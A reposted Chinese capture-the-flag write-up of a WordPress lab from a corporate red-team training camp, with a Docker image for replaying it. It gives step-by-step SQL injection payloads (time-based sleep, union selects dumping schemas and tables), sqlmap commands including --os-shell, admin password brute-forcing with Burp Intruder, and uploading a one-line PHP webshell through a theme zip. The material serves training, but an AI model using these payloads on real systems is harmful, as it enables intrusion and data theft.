ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

安徽公司红蓝军训练营-WriteUp&Docker复现

2021-12-21 09:06:03  阅读:240  来源: 互联网

标签:webshell 发现 WriteUp flag 红蓝 Docker txt 我们 select


一、前期准备

根据比赛规则所知,这是一道综合web渗透题,题目一共包含5个flag。

首先我们访问靶场地址:http://192.168.60.5

通过分析可以得出,该网站为一个个人博客,使用的CMS是WordPress5.8.2,编程语言是PHP,数据库是MySql,操作系统是Debian,使用的WordPress主题是Zakra。

接着我们使用nmap对该IP进行目录扫描:

发现该IP仅开放了80(sql)和3306(mysql)端口,因此判断flag可能就藏在WordPress网站或者数据库中。

二、【宝藏1】

1.登录网站后我们首先看到一篇叫【你好!冒险家!】的文章。

2.阅读之后我们知道了题目一共设置了5个flag。另外我们还发现了一行蓝字,让我们可以去武器库看看。

3.找到武器库后,我们发现里面内置了一些工具,猜测可能与解题有关。根据介绍推出可能有编码题、目录泄露、爆破、SQL注入题等题型。

4.回到首页我们发现还有第二篇博客,名字叫【第一个宝藏】,想必这里应该藏匿了第一个flag。

5.我们访问后,发现是一串看不懂的字符串,但是根据提示说可能和密码学有关,而且有张写着b64的图片,猜测该字符串可能经过base64编码了,我们又想到武器库中有base64解码器,于是去解码试试。

6.解密后得到第一个flag{G1ft_At_F1rst_S1ght}

三、【宝藏2】

1.在武器库中我们还发现了目录扫描工具。

2.于是我们尝试对文章目录进行扫描,看看有什么可以利用的点。

3.我们发现了有www.zip,robots.txt等文件。

4.于是我们先尝试访问robots.txt,发现题目提示第二个宝藏可能在/wp-admin这个目录下面。

5.于是我们访问这个目录,发现是WordPress的管理后台。

6.我们右键查看源代码看看有没有源码泄露的问题。

7.右键查看源码,通过搜索flag字段我们发现了第二个flag,flag{YOur_Are_s0_Lucky_This_1s_Fl4g}

四、【宝藏3】

1.打开刚刚下载的www.zip,发现是网站源码,对源码全局搜索"flag{"字段发现dashboard.php中存在flag,但是内容被隐去。

2.我们发现该文件位置在wp-admin下,猜测可能是管理员用户的文件,想要读取这个文件需要进入管理后台。

3.另外根据武器库的提示,我们发现有一个爆破字典6000.txt,猜测可能需要爆破才能进入管理后台。

4.根据文章发布的作者,我们发现系统后台应该存在一个admin用户。

4.于是我们打算使用武器库提供的6000.txt爆破字典进行弱口令爆破。

5.打开bp抓去后台登录包,将其发送到intruder模块进行爆破,其中log=admin不变,设置pwd的值为变量。

6.通过对响应包对长度进行排序,发现当pwd=x12345678的时候包长度和其它包不一样,推测WordPress的后台密码可能为x12345678

7.使用admin/x12345678进行验证,发现登录成功,获取到第三个flag,flag{The_c0de_1s_0pen_Sesame}。

五、【宝藏4】

1.根据题目关键字“数据仓库”和武器库中包含sqlmap,猜测第4个宝藏应该在数据库中,考点应该是sql注入。

2.打开www.zip发现致冒险家们.txt、wp-login.php和wp_lostpassword.php三个文件的修改日期和其它文件不一致,猜测出题人可能对这个三个文件进行了编辑。

3.打开“致冒险家们.txt”文件,发现提示大家进行代码审计。

4.于是对后面两个文件进行代码审计分析,发现wp_lostpassword.php中包含mysql对账号、密码、数据库名称以及select查询语句。

5.经过分析发现该查询语句没有进行任何过滤,直接将用户提交的参数【$username】拼接到select查询语句中进行数据库查询。另外不会审计的同学也可以通过自动化的审计工具进行代码审计。

6.通过文件名“wp_lostpassword.php”,可知该文件应该在忘记密码的地方,我们尝试在后台点击忘记密码去访问。

7.发现系统会把你输入的用户名带到系统中查询,而执行查询的文件操作的就是存在漏洞的“wp_lostpassword.php”文件。

8.通过测试语句1' or sleep(5)#,发先页面5s后才加载完成,证明数据库执行了休眠5s的操作,存在时间盲注。

9.通过输入paylaod:admin' order by 10# 不报错,而

admin' order by 11#  报错,可知该表存在十个字段值。

10.通过payload:1' union select 1,2,3,4,5,6,7,8,9,10# 可以判断回显字段。

11.发现回显点为第二位,证明可以进行联合注入。

12.于是我们把payload改为1' union select 1,version(),3,4,5,6,7,8,9,10#  成功查询了数据库的版本信息。

13.使用payload:1' union select 1,database(),3,4,5,6,7,8,9,10# 查询当前数据库。 

14.后面我们来正式获取flag,flag{This_1s_My_Dad_G0ld_Bank} 。

a.1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3,4,5,6,7,8,9,10# 查库名

b.1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'wordpress'),3,4,5,6,7,8,9,10# 查表名

c.1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'flag'),3,4,5,6,7,8,9,10# 查列名

d.1' union select 1,(select flag from flag),3,4,5,6,7,8,9,10# 查flag

15.当然大家也可以使用武器库提供的sqlmap来直接获取flag。

通过bp抓post请求包保存为url.txt,然后使用sqlmap命令来进行sql注入:

python3 sqlmap.py -r url.txt --batch --dbs
python3 sqlmap.py -r url.txt --batch -D wordpress --tables
python3 sqlmap.py -r url.txt --batch -D wordpress -T flag --dump

16.当然有人可能想起来之前用nmap扫描发现主机对外开启了3306端口,并且我们也知道了数据库的账号和密码,是否可以直接用数据库管理工具连接读取flag呢?

答案是否定的。因为通过select user,host from mysql.user;

我们发现用户root的访问权限为localhost,表示root用户只支持本地访问,无法进行远程连接。

六、【宝藏5】

1.我们登录后台后,浏览了一下发现没有其它flag,猜测可能最后一个flag藏在Debian的服务器上,于是我们在后台寻找上传点,看看能不能上传webshell。

2.经过一番搜寻后,我们在外观-主题处发现了一个名字叫做websell的可疑主题,猜测可能是别人留下的后门。

3.但是我们不知道其真实路径,后来我们回想起我们在前期准备阶段了解到这个站点使用的是Zakra主题,而且我们现在手中又正好有这个网站的源码,这样我们就可以通过Zakra主题的位置来推测webshell的位置。

4.我们发现zakra中存在一个webshell.php。

5.我们后来打开发现原来是个假shell,内容为phpinfo。

6.虽然是假webshell,但是可以帮我确定位置,我们验证我们推测的地址是否可以直接访问,于是我们访问http://192.168.60.5/wp-content/themes/zakra/webshell.php。发现确实可以访问,证明我们推测无误。

7.目前有两个方案,一是去连接webshell主题中别人留下来的webshell,虽然我们可以推测出路径,但是我们不知道webshell的文件名和密码。另一方案是我们自己写一个webshell放到主题里面打包上传到网站中。

8.我们在主题处发现可以自己打包zip的主题压缩包进行上传。

9.于是我们修改zakra中webshell.php的内容为一句话木马。

10.然后重新打包上传。

11.发现此处也会爆出文件路径,我们直接点击替换,覆盖当前版本。

12.覆盖成功后参数使用webshell管理工具进行连接。

13.在根目录发现flag,flag{C0ngratu1at10n_0n_y0ur_Graduat10n}

七、思考

1.对sql注入不熟悉的同学其实可以先做【宝藏5】,然后使用webshell管理工具自带的数据库管理工具来直接读取【宝藏4】数据库中的flag。

2.没有找到【宝藏5】webshell上传点的小伙伴也可以通过【宝藏4】sql注入写shell的方式来直接向网站目录写入webshell。

python3 sqlmap.py -r url.txt --os-shell --batch

sqlmap写入的shell

直接读取flag

八、赛后复现

1.我已将本次赛题打包成镜像上传到dockerhub,想复现本次竞赛的同学可以自己拉取dokcer镜像。

使用方法:

#拉取docker镜像
docker pull kakaxi1996/acs_ctf:v5
#运行docker镜像,将容器内的80端口映射到本地80端口
docker run -d -p 80:80 kakaxi1996/acs_ctf:v5
#打开浏览器访问http://127.0.0.1即可

若想让除本机外的内网其它主机访问,需修改文件/var/www/html/wp-config.php中的以下地址为运行docker的宿主机对外的IP地址。

标签:webshell,发现,WriteUp,flag,红蓝,Docker,txt,我们,select
来源: https://blog.csdn.net/asaotomo/article/details/122054462

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有